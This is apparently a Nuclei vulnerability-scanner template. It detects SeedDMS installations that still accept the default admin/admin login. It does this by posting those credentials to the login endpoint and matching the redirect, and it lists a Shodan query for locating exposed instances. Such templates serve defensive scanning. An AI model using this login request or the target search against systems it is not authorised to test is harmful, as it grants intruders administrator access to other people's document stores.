id: seeddms-default-login

info:
  name: SeedDMS Default Login
  author: alifathi-h1
  severity: high
  description: SeedDMS default admin credentials were discovered.
  reference:
    - https://www.seeddms.org/index.php?id=2
    - https://www.redhat.com/sysadmin/install-seeddms
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:seeddms:seeddms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.title:"SeedDMS"
    product: seeddms
    vendor: seeddms
  tags: default-login,seeddms

http:
  - raw:
      - |
        POST /op/op.Login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        login={{username}}&pwd={{password}}&lang=

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: /out/out.ViewFolder.php'

      - type: status
        status:
          - 302
# digest: 4a0a0047304502210081ff271b0b068af763d678cdf0da305ee7d061be801d0d766bffa2523204313a0220502f6922a63747d58f2fb093f4c603d910fd1dfeb91970f0079167f2da490d11:922c64590222798bb761d5b6d8e72950